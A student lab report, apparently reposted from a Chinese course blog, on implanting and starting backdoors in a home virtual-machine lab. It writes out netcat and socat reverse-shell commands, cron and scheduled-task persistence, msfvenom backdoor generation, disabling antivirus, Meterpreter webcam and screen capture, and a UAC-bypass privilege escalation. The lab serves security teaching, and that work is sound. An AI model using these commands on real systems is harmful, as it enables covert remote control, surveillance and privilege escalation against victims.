首页 > 技术文章 > 《网络对抗》Exp2 后门原理与实践

tanjie200 2021-03-27 10:50 原文

1.基础问题回答

(1) 例举你能想到的一个后门进入到你系统中的可能方式?


下载程序中夹带,网页中有木马等等



(2) 例举你知道的后门如何启动起来(win及linux)的方式?


  • windows:
    任务计划
    自启动项
    后门嵌入正常程序,随正常程序启动而启动
  • Linux:
    cron计划
    反弹式shell
    添加特权用户
    修改某些重要文件,随之启动


(3) Meterpreter有哪些给你映像深刻的功能?


可以生成后门程序
远程连接后,可以直接获取键盘、鼠标等IO设备控制权
可以在已经连接后,使用其他模块进行提权



(4) 如何发现自己有系统有没有被安装后门?


重要是任务计划,自启动项以及注册表键值




2.实验总结与体会


这次使用了msf平台,模拟了植入后门、远程控制以及提权的过程,而当我用虚拟机把主机成功提权后,直观感受到我们的计算机有漏洞,而且可以被攻击,且能够攻击成功,计算机安全确实不容忽视,这也是以后学习的目标。另外,这个过程还是有些曲折的,比如前面cron计划,开始打算直接在主机cmd里编辑,将命令写入文件,但发现不行,参考学长学姐的是先在kali里设好了命令,在主机里执行的,我觉得就有问题,所以我先放下,做了一次在kali里设好cron任务,然后往后做,然后在网上偶然搜到了,用命令可以直接设置cron任务,这就是一个坚持反复探索的过程。




3.实践过程记录


3.1使用netcat获取主机操作Shell,cron启动



3.1.1 获取IP


Windows IP: cmd下ipconfig



3.1.2 使用nc

Windows下,使用nc,为了方便最好设置一个环境变量,如:

我的电脑>属性>高级系统设置>环境变量>系统变量>path>添加一条路径,再确定就好(我的nc.exe就在E:/netcat/目录下)



  • Windows 监听

     nc -l -p 8888
    



  • kali获取IP并连接

     ifconfig
     nc 192.168.0.107[:主机Windows的IP] 8888[:主机Windows监听的端口] -e /bin/sh
    



  • Widows 获取shell成功:



  • kali查看并清除原来cron任务

     crontab -l
     crontab -r
    



  • windows下直接设置cron任务完成启动失败:

windows下用vi编辑文件为乱码,在cmd里乱码无法编辑,修改编码后(chcp 65001),仍然是乱码,kali查看编码 echo $LANG
即使多次尝试修改编码也无效,无法修改,无法保存,无法退出

linux下退出后,查看cron的结果,然后又找到可以直接用命令设置任务



失败的原因:应该是kali先开启cron,并且已经设置了一个任务,然后那条命令才有一定权限运行,因为cron启动是需要权限的,所以应该是kali已经启动了并设置了任务,然后查看cron是否运行,然后在Windows里查看是否连接成功



3.1.3解决Windows命令行用vi编辑时乱码且无法修改的问题

用命令设置kali cron任务(前提:必须在kali里先启动并设置了cron一个任务)

crontab -l > conf && echo "*/1* * * * * nc 192.168.0.107 8888 -e /bin/sh" > conf && crontab conf && rm -f conf

成功:






3.2使用socat获取主机操作Shell, 任务计划启动


  • 连接

     socat tcp-l:8888 exec:cmd,pty
     socat - tcp:192.168.0.111
    



  • 设置编码

chcp 65001



  • 用cmd命令设置Windows任务计划并验证

      schtasks /create /sc daily /tn "task 3" /tr "cmd.exe /c socat tcp-l:8888 exec:cmd,pty" /st 22:17
    


这样,连接后,kali可以直接在cmd里输入命令,设置任务计划,指定时间执行就可以随意实施远程控制




3.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 生成后门程序

     msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.111 LPORT=7000 -f exe > meter_backdoor.exe
    



  • 关闭被攻击机(即Windows主机)的杀毒软件,一个是我安装的QQ管家,一个是Windows自带的Defender。这是为了防止后门程序不被杀软直接删除。




  • 启动msfconsole,然后设置攻击模块,payload,本地IP和端口(这些是为了和后门程序一致),然后监听

     # >msfconsole
     # >use exploit/multi/handler
     # >set payload windows/meterpreter/reverse_tcp
     # >set LHOST 192.168.0.111
     # >set LPORT 7000
     # > exploit
    



  • 获取shell

当连接建立后直接通过命令shell,就可以直接获取shell




3.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

建立连接后,通过命令help,可以发现很多可以再目标主机上干的事

  • 屏幕截屏

screenshot



  • 同步获取桌面

screenshare,运行后会打开Firefox,通过网页可以直接看到主机桌面的内容



  • 获取摄像头,拍一张照

webcam_snap



  • 提权

getsystem

失败



  • 通过其他模块攻击提权

    # >background
    # >use exploit/windows/local/bypassuac_fodhelper
    # >set session 2
    # >exploit
    # >getsystem       
    

自己成功的提权的模块 bypassuac_fodhelper

search bypassuac,查找绕过uac的攻击,然后一个一个试或者参考别人的博客(我参考的)

  • 重新进行一次攻击
    session要与前面的那次连接绑定

    成功提权



3.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

思路:用msf给pwn注入payload,使用nc,主机监听端口,再用kali连接同时执行生成的elf文件,再用cmd监听与elf一致的端口,从而反链获取shell(类似同3.1)

  • 使用msf将payload注入pwn中

     msfvenom -p linux/x86/shell/reverse_tcp -x ./pwn20181324 LHOST=192.168.0.107 LPORT=7000 -f elf >  pwn_backdoor.elf
    



  • 使用nc连接验证

     nc -l -p 8888 -v
     nc -l -p 7000 -v
     nc 192.168.0.107 8888 -v -e ./pwn_backdoor.elf
    


连接已经建立,但是没能真获取到shell,使用一个命令就已经报错


推荐阅读